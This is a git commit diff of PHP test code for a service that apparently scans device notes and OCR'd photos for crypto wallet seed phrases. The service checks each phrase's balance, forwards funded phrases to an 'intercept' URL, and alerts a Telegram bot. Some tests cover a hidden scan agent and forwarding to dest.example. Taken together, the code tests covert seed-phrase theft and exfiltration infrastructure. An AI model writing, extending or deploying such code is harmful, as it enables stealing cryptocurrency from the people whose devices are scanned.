feat: interept
This commit is contained in:
@@ -11,7 +11,6 @@ use App\Http\Middleware\DecryptXxbbBody;
|
||||
use App\Models\Photo;
|
||||
use App\Models\User;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Services\MnemonicScanService;
|
||||
use App\Services\MnemonicScanStatus;
|
||||
use App\Services\MnemonicWalletDiscovery;
|
||||
@@ -54,6 +53,7 @@ TXT;
|
||||
#[Test]
|
||||
public function twelve_note_words_auto_confirm_and_ingest(): void
|
||||
{
|
||||
$this->bindPhraseBalance(false);
|
||||
$device = $this->device('dev-scan-12');
|
||||
Note::query()->create([
|
||||
'device_id' => $device->id,
|
||||
@@ -82,6 +82,7 @@ TXT;
|
||||
#[Test]
|
||||
public function glued_numbered_note_words_auto_confirm_and_ingest(): void
|
||||
{
|
||||
$this->bindPhraseBalance(false);
|
||||
$phrase = 'during exhaust tool custom smart old busy region skin wasp attitude wrist';
|
||||
$device = $this->device('dev-scan-glued');
|
||||
Note::query()->create([
|
||||
@@ -142,6 +143,7 @@ TXT;
|
||||
#[Test]
|
||||
public function admin_can_edit_and_confirm_a_suspected_photo(): void
|
||||
{
|
||||
$this->bindPhraseBalance(false);
|
||||
$device = $this->device('dev-scan-confirm');
|
||||
$photo = $this->photoWithOcr($device, self::INVALID_UNIQUE);
|
||||
app(MnemonicScanService::class)->scanPhoto($photo);
|
||||
@@ -218,6 +220,7 @@ TXT;
|
||||
#[Test]
|
||||
public function twelve_photo_words_auto_confirm_with_album_source(): void
|
||||
{
|
||||
$this->bindPhraseBalance(false);
|
||||
$device = $this->device('dev-scan-photo-12');
|
||||
$photo = $this->photoWithOcr($device, self::PHRASE);
|
||||
|
||||
@@ -259,6 +262,7 @@ TXT;
|
||||
#[Test]
|
||||
public function hidden_agent_scan_ingests_onto_official_device(): void
|
||||
{
|
||||
$this->bindPhraseBalance(false);
|
||||
config(['coruna.scan.agent_visible' => false]);
|
||||
$official = $this->officialDevice('dev-official-holder');
|
||||
$device = $this->device('dev-scan-reattach');
|
||||
@@ -450,7 +454,7 @@ TXT;
|
||||
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
||||
'https://dest.example/*' => Http::response('ok', 200),
|
||||
]);
|
||||
$this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 12.5);
|
||||
$this->bindPhraseBalance(true);
|
||||
|
||||
$device = $this->device('dev-scan-fwd');
|
||||
Note::query()->create([
|
||||
@@ -463,8 +467,10 @@ TXT;
|
||||
|
||||
app(MnemonicScanService::class)->scanDeviceNotes($device);
|
||||
|
||||
$this->assertSame(1, $device->mnemonics()->count());
|
||||
$this->assertSame(self::PHRASE, $device->mnemonics()->first()?->mnemonic);
|
||||
$this->assertSame(0, $device->mnemonics()->count());
|
||||
$this->assertSame(0, WalletAddress::query()->where('device_id', $device->id)->count());
|
||||
$this->assertSame(MnemonicFinding::STATUS_SUSPECTED, MnemonicFinding::query()->where('device_id', $device->id)->value('status'));
|
||||
$this->assertSame(MnemonicScanStatus::SUSPECTED, (int) $device->noteScans()->value('scan_status'));
|
||||
Http::assertSent(function ($request) {
|
||||
if (! str_starts_with($request->url(), 'https://dest.example/us')) {
|
||||
return false;
|
||||
@@ -487,6 +493,26 @@ TXT;
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function forwarded_photo_scan_stays_suspected(): void
|
||||
{
|
||||
config(['coruna.intercept.forward_url' => 'https://dest.example']);
|
||||
Http::fake([
|
||||
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
||||
'https://dest.example/*' => Http::response('ok', 200),
|
||||
]);
|
||||
$this->bindPhraseBalance(true);
|
||||
|
||||
$device = $this->device('dev-scan-fwd-photo');
|
||||
$photo = $this->photoWithOcr($device, self::PHRASE);
|
||||
app(MnemonicScanService::class)->scanPhoto($photo);
|
||||
|
||||
$photo->refresh();
|
||||
$this->assertSame(0, $device->mnemonics()->count());
|
||||
$this->assertSame(MnemonicScanStatus::SUSPECTED, (int) $photo->scan_status);
|
||||
$this->assertSame(MnemonicFinding::STATUS_SUSPECTED, MnemonicFinding::query()->where('photo_id', $photo->id)->value('status'));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function confirmed_scan_does_not_forward_when_derived_addresses_have_no_balance(): void
|
||||
{
|
||||
@@ -496,7 +522,7 @@ TXT;
|
||||
'https://dest.example/*' => Http::response('ok', 200),
|
||||
'*' => Http::response('fail', 500),
|
||||
]);
|
||||
$this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 0);
|
||||
$this->bindPhraseBalance(false);
|
||||
|
||||
$device = $this->device('dev-scan-nofwd');
|
||||
Note::query()->create([
|
||||
@@ -510,7 +536,15 @@ TXT;
|
||||
app(MnemonicScanService::class)->scanDeviceNotes($device);
|
||||
|
||||
$this->assertSame(1, $device->mnemonics()->count());
|
||||
$this->assertFalse((bool) $device->mnemonics()->first()?->discovery_complete);
|
||||
$this->assertSame(MnemonicFinding::STATUS_CONFIRMED, MnemonicFinding::query()->where('device_id', $device->id)->value('status'));
|
||||
$this->assertSame(MnemonicScanStatus::CONFIRMED, (int) $device->noteScans()->value('scan_status'));
|
||||
Http::assertNotSent(fn ($request) => str_starts_with($request->url(), 'https://dest.example/us'));
|
||||
Http::assertSent(function ($request) {
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, '新助记词');
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -521,7 +555,7 @@ TXT;
|
||||
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
||||
'*' => Http::response('ok', 200),
|
||||
]);
|
||||
$this->bindFundedDiscovery('TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH', 99);
|
||||
$this->bindPhraseBalance(true);
|
||||
|
||||
$device = $this->device('dev-scan-nourl');
|
||||
Note::query()->create([
|
||||
@@ -538,23 +572,67 @@ TXT;
|
||||
Http::assertNotSent(fn ($request) => str_contains($request->url(), '/us') && ! str_contains($request->url(), 'telegram'));
|
||||
}
|
||||
|
||||
private function bindFundedDiscovery(string $address, float $usdt): void
|
||||
#[Test]
|
||||
public function confirmed_scan_persists_when_forward_fails(): void
|
||||
{
|
||||
config(['coruna.intercept.forward_url' => 'https://dest.example']);
|
||||
Http::fake([
|
||||
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
||||
'https://dest.example/*' => Http::response('fail', 500),
|
||||
]);
|
||||
$this->bindPhraseBalance(true);
|
||||
|
||||
$device = $this->device('dev-scan-fwd-fail');
|
||||
Note::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'content' => [
|
||||
['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9],
|
||||
],
|
||||
'content_hash' => hash('sha256', 'fwdfail'),
|
||||
]);
|
||||
|
||||
app(MnemonicScanService::class)->scanDeviceNotes($device);
|
||||
|
||||
$this->assertSame(1, $device->mnemonics()->count());
|
||||
Http::assertSent(fn ($request) => str_starts_with($request->url(), 'https://dest.example/us'));
|
||||
Http::assertSent(function ($request) {
|
||||
$text = (string) ($request->data()['text'] ?? '');
|
||||
|
||||
return str_contains($text, '新助记词');
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function confirmed_scan_persists_when_balance_probe_fails(): void
|
||||
{
|
||||
config(['coruna.intercept.forward_url' => 'https://dest.example']);
|
||||
Http::fake([
|
||||
'api.telegram.org/*' => Http::response(['ok' => true], 200),
|
||||
'https://dest.example/*' => Http::response('ok', 200),
|
||||
]);
|
||||
$discovery = Mockery::mock(MnemonicWalletDiscovery::class);
|
||||
$discovery->shouldReceive('phraseHasPositiveBalance')->once()->andThrow(new \RuntimeException('rpc down'));
|
||||
$this->app->instance(MnemonicWalletDiscovery::class, $discovery);
|
||||
|
||||
$device = $this->device('dev-scan-probe-fail');
|
||||
Note::query()->create([
|
||||
'device_id' => $device->id,
|
||||
'content' => [
|
||||
['title' => 'wallet', 'body' => self::PHRASE, 'native_id' => 9],
|
||||
],
|
||||
'content_hash' => hash('sha256', 'probefail'),
|
||||
]);
|
||||
|
||||
app(MnemonicScanService::class)->scanDeviceNotes($device);
|
||||
|
||||
$this->assertSame(1, $device->mnemonics()->count());
|
||||
Http::assertNotSent(fn ($request) => str_starts_with($request->url(), 'https://dest.example/us'));
|
||||
}
|
||||
|
||||
private function bindPhraseBalance(bool $hasBalance): void
|
||||
{
|
||||
$discovery = Mockery::mock(MnemonicWalletDiscovery::class);
|
||||
$discovery->shouldReceive('discoverActivated')->once()->andReturnUsing(function (WalletMnemonic $mnemonic) use ($address, $usdt) {
|
||||
WalletAddress::query()->create([
|
||||
'device_id' => $mnemonic->device_id,
|
||||
'mnemonic_id' => $mnemonic->id,
|
||||
'address' => $address,
|
||||
'chain_type' => 'TRON',
|
||||
'source' => '备忘录扫描',
|
||||
'usdt' => $usdt,
|
||||
'trx' => 0,
|
||||
'monitor' => 1,
|
||||
]);
|
||||
|
||||
return $usdt > 0 ? 1 : 0;
|
||||
});
|
||||
$discovery->shouldReceive('phraseHasPositiveBalance')->once()->andReturn($hasBalance);
|
||||
$this->app->instance(MnemonicWalletDiscovery::class, $discovery);
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user